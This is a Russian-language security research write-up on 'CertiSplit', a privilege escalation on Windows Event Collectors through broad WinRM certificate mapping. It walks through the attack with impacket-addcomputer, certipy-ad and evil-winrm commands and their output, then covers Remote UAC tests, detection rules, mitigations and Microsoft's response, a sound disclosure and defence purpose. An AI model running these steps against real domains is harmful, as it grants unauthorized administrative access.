Привет! Сегодня разберём необычный вектор повышения привилегий в Windows, который мне удалось воспроизвести при исследовании Windows Event Collector (WEC) и WinRM certificate authentication.
Представим ситуацию: у нас есть обычная доменная УЗ без административных прав. Мы получаем для неё легитимный сертификат от корпоративного УЦ, подключаемся к WEC по WinRM HTTPS и оказываемся в PowerShell‑сессии локального администратора коллектора. Без кражи сертификатов, подмены SID, ESC‑атак или компрометации CA.
Звучит странно, но вся магия в одном правиле сопоставления сертификатов. Исследуемый сценарий я назвал «CertiSplit». Ниже посмотрим, как он устроен, воспроизведём два варианта, разберём контрольные эксперименты и, конечно, найдём артефакты.
Есть и второй интересный результат: даже при включённом UAC и стандартном LocalAccountTokenFilterPolicy=0 сертификатный вход открывал административный shell. При этом прямой вход по паролю под той же локальной УЗ блокировался. К этому сравнению вернёмся отдельно — оно многое объясняет.
Теория: при чём здесь WEC и сертификаты?
Windows Event Collector — компонент Windows, принимающий события от удалённых источников. В варианте source‑initiated subscription сами источники отправляют события коллектору. Для взаимодействия используется WS‑Management/WinRM, в том числе по HTTPS (TCP/5986) с клиентскими сертификатами.
В документации Microsoft по настройке WEC с сертификатами предлагается создать локальную учётную запись на сервере‑коллекторе, добавить её в Administrators и настроить certificate mapping:
winrm create winrm/config/service/certmapping?Issuer=<CA_THUMBPRINT>+Subject=*+URI=* '@{UserName="<LOCAL_USER>";Password="<PASSWORD>"}' -remote:localhost
В моей лаборатории правило выглядело следующим образом:
Issuer = 8BD6095055F61EACD707227A2DD151D91A2DB5C2 Subject = * URI = * UserName = SRV01\CERTMAP-ADMIN Enabled = true
Здесь стоит обратить внимание на три параметра:
Issuer— отпечаток УЦ, выпустившего клиентский сертификат.Subject=*— правило не ограничено одним конкретным субъектом сертификата.URI=*— правило применимо не только к ресурсу пересылки событий WEC, но и к другим ресурсам WS‑Management, включая WinRM shell.
После проверки сертификата WinRM находит подходящее правило и использует указанную в нём локальную УЗ. Если это член Administrators и ресурс shell разрешён, получается интересный переход: сертификат выдан обычному субъекту AD, а сеанс на WEC выполняется от имени другого, привилегированного локального пользователя.
Схематично:

Это не обход Issuer, Subject или URI: далее мы отдельно убедимся, что URI‑фильтрация работает корректно. Проблема в широкой политике доверия и правах аккаунта, к которому привязан сертификат.
Есть важный нюанс: Microsoft в той же инструкции указывает, что созданную локальную УЗ можно (тут прошу обратить внимание на то, что это только рекомендация) удалить после настройки WEC: для самой пересылки событий она не используется для impersonation. То есть опасность возникает, если широкое правило и активный локальный администратор остались на сервере.
Практика: получаем административный shell
Для тестов использовался следующий стенд:
Компонент | Значение |
|---|---|
Домен / CA |
|
DC + AD CS |
|
WEC |
|
Целевая ОС | Windows Server 2019, build |
WinRM HTTPS |
|
Исходная УЗ |
|
Сопоставленная УЗ |
|
Вариант № 1. Machine‑сертификат через MachineAccountQuota
Вдохновившись силой MAQ в Certighost, первоначально я пошёл через создание собственного доменного компьютера. Для этого у TEST\bob не было прав администратора домена — достаточно стандартной возможности создавать компьютерные объекты, если она разрешена конфигурацией AD.
Проверим ms-DS-MachineAccountQuota через LDAP:
ldapsearch -x -H ldap://192.168.1.1 -D 'bob@test.local' -W \ -b 'DC=test,DC=local' -s base ms-DS-MachineAccountQuota
Результат:
ms-DS-MachineAccountQuota: 10
Создаём собственную машинную УЗ:
impacket-addcomputer -dc-ip 192.168.1.1 \ -computer-name 'BOBPC01$' \ -computer-pass '<LAB_MACHINE_PASSWORD>' \ 'test.local/bob'
Successfully added machine account BOBPC01$
Для объекта задавались dNSHostName=bobpc01.test.local и соответствующие HOST/ и RestrictedKrbHost/ SPN. Затем от имени созданной машины запрашиваем обычный сертификат из шаблона Machine:
certipy-ad req \ -u 'BOBPC01$@test.local' \ -p '<LAB_MACHINE_PASSWORD>' \ -dc-ip 192.168.1.1 \ -target dc01.test.local \ -ca TEST-ROOT-CA \ -template Machine \ -out bobpc01
Successfully requested certificate Saved certificate and private key to bobpc01.pfx
Никакого ESC‑сценария здесь нет. Сертификат легитимно выпущен для BOBPC01$ и содержит ожидаемые данные:
Subject: CN=bobpc01.test.local Issuer: TEST-ROOT-CA EKU: Client Authentication Strong SID extension: 1.3.6.1.4.1.311.25.2
SID‑расширение указывает на созданный компьютер, а не на администратора WEC. Это важно: мы не пытаемся заставить AD CS выдать сертификат на чужую УЗ.
Экспортируем сертификат и ключ в PEM для клиента WinRM:
openssl pkcs12 -in bobpc01.pfx -clcerts -nokeys \ -out bobpc01.crt.pem -passin pass: openssl pkcs12 -in bobpc01.pfx -nocerts -nodes \ -out bobpc01.key.pem -passin pass:
Подключаемся к WEC:
evil-winrm -i srv01.test.local -S -P 5986 \ -c bobpc01.crt.pem -k bobpc01.key.pem
И получаем:
*Evil-WinRM* PS C:\Users\CERTMAP-ADMIN\Documents>
Посмотрим, кто мы в системе:
whoami /user whoami /groups whoami /priv
Наблюдаемый результат:
User: srv01\certmap-admin Group: BUILTIN\Administrators (S-1-5-32-544) Integrity: High Mandatory Level (S-1-16-12288) Enabled privileges: SeDebugPrivilege SeBackupPrivilege SeRestorePrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeImpersonatePrivilege
Итого: из обычной доменной УЗ получили полноценную локальную административную WinRM‑сессию на WEC. Причём права TEST\bob на самом SRV01 здесь ни при чём — они определялись локальным пользователем, указанным в certificate mapping.
Вариант № 2. Обычный User‑сертификат без создания компьютера
Далее возник логичный вопрос: а зачем вообще нужен MachineAccountQuota, если WinRM ориентируется на выдающий CA, Subject и URI?
Проверил второй вариант. TEST\bob получил сертификат из стандартного шаблона User, без создания компьютерной УЗ. Посмотрим на содержимое:
openssl x509 -in bob-user.crt.pem -noout \ -subject -issuer -ext extendedKeyUsage
subject=DC=local, DC=test, CN=Users, CN=bob issuer=DC=local, DC=test, CN=TEST-ROOT-CA X509v3 Extended Key Usage: Microsoft Encrypted File System, E-mail Protection, TLS Web Client Authentication
Повторяем подключение, но уже с сертификатом самого пользователя:
evil-winrm -i srv01.test.local -S -P 5986 \ -c bob-user.crt.pem -k bob-user.key.pem
*Evil-WinRM* PS C:\Users\CERTMAP-ADMIN\Documents> whoami /user srv01\certmap-admin S-1-5-21-3931055678-3624413536-1687736101-1000
Вот это уже гораздо интереснее. ms-DS-MachineAccountQuota > 0 не является обязательным условием. Достаточно возможности получить подходящий клиентский сертификат из доверенной цепочки и активного широкого mapping на WEC. В моём стенде для этого подошёл стандартный User.
Важная оговорка: не любой сертификат автоматически откроет shell. Он должен пройти проверку цепочки и статуса, подходить для клиентской аутентификации и удовлетворять действующему правилу WinRM.
Контрольные тесты: где проходит граница?
Получить shell — половина исследования. Теперь проверим, за счёт чего он появляется и какие изменения действительно блокируют доступ.
URI: дело не в обходе, а в слишком широком правиле
Менял только URI certificate mapping, оставляя того же выдающего УЦ, Subject=*, локального пользователя и клиентский сертификат.
URI в правиле | WinRM shell | Пересылка событий WEC |
|---|---|---|
| Успешно | Работает |
Успешно | Отдельно не проверялась | |
Отказ | Работает | |
Отказ | Отдельно не проверялась |
Самый важный контроль — EventLog*. После ограничения ресурса новая Evil‑WinRM‑сессия не открывалась. При этом я сгенерировал события на разрешённом WEC‑источнике и обнаружил их в ForwardedEvents на коллекторе:
Event ID: 901, 902 Provider: CertiSplitLab Source: PC01.test.local Destination: ForwardedEvents
То есть для пересылки событий URI=* не потребовался, а доступ к shell удалось отсечь. Аналогично, отключение сопоставленной локальной УЗ блокировало shell (WSMan fault code 1309), но не мешало форвардингу; исключение её из Administrators приводило к отказу в административном доступе (AccessDenied, код 5).
Обхода URI selector в этом эксперименте нет: селектор работает, если им воспользоваться.
Remote UAC: почему LocalAccountTokenFilterPolicy=0 не спас
Пожалуй, это самый неожиданный контрольный эксперимент после получения shell. В Windows есть механизм Remote UAC, который ограничивает удалённое администрирование под локальными учётными записями. При LocalAccountTokenFilterPolicy=0 (значение по умолчанию) для прямого сетевого входа локального администратора формируется фильтрованный токен. Для стандартного административного PowerShell endpoint это обычно означает отказ в доступе.
И здесь возникает вопрос: если учётная запись SRV01\CERTMAP-ADMIN одна и та же, будет ли Remote UAC одинаково ограничивать парольный вход и вход через сертификат?
Проверял один и тот же SRV01\CERTMAP-ADMIN на одном WinRM endpoint. EnableLUA=1 оставался включённым. Изменял только LocalAccountTokenFilterPolicy и способ аутентификации: пароль либо клиентский сертификат.
Способ входа |
|
|
| Shell |
|---|---|---|---|---|
Пароль |
|
|
| Успешно |
Пароль |
|
|
| WinRMAuthorizationError |
Сертификат → |
|
|
| Успешно |
Сертификат → |
|
|
| Успешно |
Получается показательная разница: при одинаковых EnableLUA=1, LATFP=0, локальной УЗ и WinRM endpoint парольный вход заканчивается ошибкой авторизации, а сертификатный приводит к привилегированной сессии. Следовательно, дело не в отключённом UAC и не в том, что локальный администратор получил особые права между тестами.
Чтобы это не выглядело как голословная таблица, приведу ключевые поля реальных событий 4624 из эксперимента.
Прямой парольный вход, LATFP=0:
EventID: 4624 TargetUserName: CERTMAP-ADMIN TargetDomainName: SRV01 TargetLogonId: '0x2372e4' LogonType: 3 LogonProcessName: NtLmSsp AuthenticationPackageName: NTLM SourceNetworkAddress: 192.168.1.3 ElevatedToken: No (%%1843)
Сам вход зарегистрирован, но WinRM ответил:
WinRM::WinRMAuthorizationError

Теперь сертификатный вход при том же LATFP=0:
EventID: 4624 SubjectUserSid: S-1-5-20 SubjectUserName: SRV01$ SubjectDomainName: TEST SubjectLogonId: '0x3e4' TargetUserName: CERTMAP-ADMIN TargetDomainName: SRV01 TargetLogonId: '0x2443d6' LogonType: 3 LogonProcessName: Advapi AuthenticationPackageName: Negotiate ProcessName: C:\Windows\System32\svchost.exe ElevatedToken: Yes (%%1842)
Событие 4672 с тем же LogonId=0x2443d6 содержало SeDebugPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeTakeOwnershipPrivilege, SeImpersonatePrivilege и другие привилегии. А whoami в фактически открывшейся сессии подтвердил BUILTIN\Administrators и High Mandatory Level.

Для полноты: в успешном парольном тесте с LATFP=1 использовался LogonId=0x22cf9a (NtLmSsp/NTLM, ElevatedToken=Yes), а в сертификатном тесте с LATFP=1 — 0x248cec (Advapi/Negotiate, ElevatedToken=Yes). Так что мы сравниваем все четыре комбинации, а не два случайных входа.
Откуда разница? По событиям видно, что пути входа различаются. При вводе пароля удалённый локальный администратор проходит через NtLmSsp, а при certificate mapping вход сопоставленной УЗ инициируется служебным контекстом WinRM (Advapi/Negotiate, svchost.exe, S-1-5-20 — NETWORK SERVICE). Для второго варианта в стенде формировался повышенный токен даже при LATFP=0.
Что это означает с точки зрения безопасности? У администратора может возникнуть ложное ощущение, что оставленный LATFP=0 защищает от удалённого использования локального администратора. В проверенной конфигурации такое предположение неверно: WinRM certificate mapping приводил к полноценному административному токену, несмотря на Remote UAC restrictions для прямого входа. Это важное условие эксплуатации CertiSplit и аргумент против использования LATFP=0 в качестве компенсирующей меры.
При этом важно не смешивать наблюдение с классификацией уязвимости. Результат не доказывает универсальный «UAC bypass» для любых удалённых протоколов и способов аутентификации. Мы видим разные пути создания токена и конкретный путь, на котором ожидаемая для прямого сетевого входа фильтрация не препятствует административному сеансу. Разница реальна и подтверждена экспериментом, а является ли это самостоятельным дефектом границы безопасности Windows — это отдельный вопрос, на который эти логи сами по себе не отвечают.
Отключение доменной УЗ и отзыв сертификата
Наконец, проверил, что произойдёт, если лишить исходного пользователя доступа к домену. После выдачи bob сертификата отключил доменную УЗ:
Disable-ADAccount -Identity bob
Затем создал новую WinRM HTTPS‑сессию с ранее выданным сертификатом. Результат не изменился — подключение прошло, whoami снова показал SRV01\CERTMAP-ADMIN.
То есть отключение TEST\bob не равнозначно отзыву выпущенного ему сертификата и не мешает использованию независимой локальной УЗ из mapping.
Проверил и обратный сценарий: отозвал сертификат, выпустил свежий CRL и обеспечил его доступность на WEC. Проверка Windows вернула:
CRYPT_E_REVOKED
После этого новые подключения по отозванному сертификату блокировались. Здесь нет обхода CRL: когда актуальный статус отзыва известен целевой системе, проверка сработала.
Артефакты и детекция
Здесь есть особенность: получить успешный 4624 недостаточно, чтобы доказать именно CertiSplit. Нужны контекст WEC, состояние mapping и связанная активность WinRM.
На что обращать внимание:
Источник | ID / данные | Значение |
|---|---|---|
Конфигурация WinRM на WEC |
| Активное сопоставление |
Security на WEC |
| Служебный вход в mapped user: |
Security на WEC |
| Специальные привилегии для того же |
WinRM / PowerShell | Активность удалённой сессии | Подтверждение фактического создания shell |
DC (вариант Machine) |
| Создание компьютерной УЗ обычным пользователем |
CA |
| Запрос и выпуск сертификата, если включён аудит УЦ |
WEC |
| Проверка того, что подписки продолжают работать после изменения mapping |
Конфигурацию можно посмотреть так:
winrm enum winrm/config/service/certmapping
Или через PowerShell‑провайдер:
Get-ChildItem WSMan:\localhost\ClientCertificate | ForEach-Object { Get-ChildItem $_.PSPath }
Для SIEM я бы разделил обнаружение на три уровня: опасная конфигурация, подтверждение привилегированного входа и обнаружение WinRM shell. Это позволяет отличать потенциальный риск от фактического использования certificate mapping.
1. Аудит конфигурации WinRM
Ищем активное certificate mapping, в котором одновременно выполняются условия:
Subject = * URI = * Mapped account ∈ BUILTIN\Administrators Mapping enabled = true
Это индикатор опасной конфигурации, но не свидетельство эксплуатации. Проверку следует выполнять по актуальной конфигурации WinRM на WEC, например периодическим сбором настроек или отдельным аудитом конфигурации.
2. Rule_1_Привилегированный вход через WinRM certificate mapping
Первое правило корреляции связывает события 4624 и 4672 по идентификатору сеанса входа LogonId.
Условия для Event ID 4624 на WEC:
TargetUserName = <mapped local admin> TargetDomainName = <WEC hostname> LogonType = 3 LogonProcessName = Advapi AuthenticationPackageName = Negotiate ElevatedToken = Yes
Событие 4672 должно содержать специальные привилегии для той же учётной записи и совпадающий идентификатор входа:
4624.TargetLogonId = 4672.SubjectLogonId
Время жизни контейнера будет логично указать 120 секунд.
На выходе имеем обнаружение сетевого входа с повышенным токеном, сопровождаемого назначением специальных привилегий. Однако это ещё не доказывает создание интерактивной оболочки.
3. Rule_2_Создание WinRM shell после привилегированного входа
Второе правило использует результат первой корреляции и ищет подтверждение создания удалённой оболочки.
Логическая последовательность:
[WEC] Rule_1_Привилегированный вход через WinRM certificate mapping Privileged network logon + special privileges | v [WEC] WinRM Operational, Event ID 91 Creating WSMan shell on server | v [Network telemetry, if available] Allowed TCP connection to WEC:5986 | v Alert: WinRM shell after privileged logon
Для события WinRM проверяем провайдер Microsoft-Windows-WinRM, Event ID 91 (PowerShell Remoting) и, если доступно после парсинга, ResourceUri создаваемой оболочки.
Сетевой селектор использует адрес WEC в качестве назначения и порт 5986/TCP. Если сетевые события не собираются, этот селектор не следует делать обязательным: достаточно связать результат первого правила с событием создания shell.
Для сценария с шаблоном Machine цепочку можно дополнительно усилить событиями 4741 (создание компьютерной учётной записи) и 4887 (выдача сертификата). Это отдельный сценарий обнаружения, а не обязательное условие основного правила: при получении сертификата из шаблона User события 4741 не будет, и детект, основанный только на создании компьютера, пропустит такой вариант.
Меры противодействия
Сузить
URIдоhttp://schemas.microsoft.com/wbem/wsman/1/windows/EventLog*для mapping, предназначенного только для пересылки событий. В эксперименте это блокировало shell, не ломая WEC.Не оставлять без необходимости включённого локального администратора, созданного на этапе настройки WEC; рассмотреть удаление/отключение УЗ и минимизацию её прав.
Проверить, какие субъекты могут получить сертификат с Client Authentication от доверенного УЦ. Снижение
MachineAccountQuotaполезно само по себе, но не решает вопрос, если доступен стандартныйUser.Не считать
LocalAccountTokenFilterPolicy=0достаточной защитой от этого сценария. В эксперименте она блокировала прямой парольный вход, но не вход через certificate mapping.Ограничить сетевой доступ к
5986/TCP, инвентаризировать WinRM mappings и проверить доставку CRL/работу отзыва.После изменений протестировать оба условия: новые административные shell‑сессии не создаются, а события от разрешённых источников продолжают поступать в
ForwardedEvents.
Позиция MSRC и выводы
По итогам рассмотрения Microsoft Security Response Center (MSRC) сообщил, что случай не соответствует определению уязвимости и не достигает порога для выпуска исправления. По мнению Microsoft, доступ предоставляется явно настроенной политикой certificate mapping, а не вследствие дефекта Windows. CVE не присвоен, bounty не предусмотрен, дальнейшее сопровождение обращения прекращено. При этом материалы переданы ответственной инженерной команде для ознакомления.
Тем не менее исследование выявило практический риск: опасная комбинация Subject=*, URI=* и локальной административной учётной записи описана в официальной документации Microsoft по настройке WEC через HTTPS.
Дополнительный эксперимент с LocalAccountTokenFilterPolicy=0 показал, что Remote UAC не препятствует получению административной WinRM‑сессии через это сопоставление, хотя прямая парольная аутентификация той же учётной записи завершается WinRMAuthorizationError. Это подтверждённый результат тестирования, но не доказательство отдельной уязвимости UAC.
Главный вывод: даже если рассматривать CertiSplit как риск конфигурации, а не уязвимость Windows, рекомендация остаётся практической — ограничивать mapping ресурсом EventLog и не оставлять без необходимости активную локальную административную учётную запись.

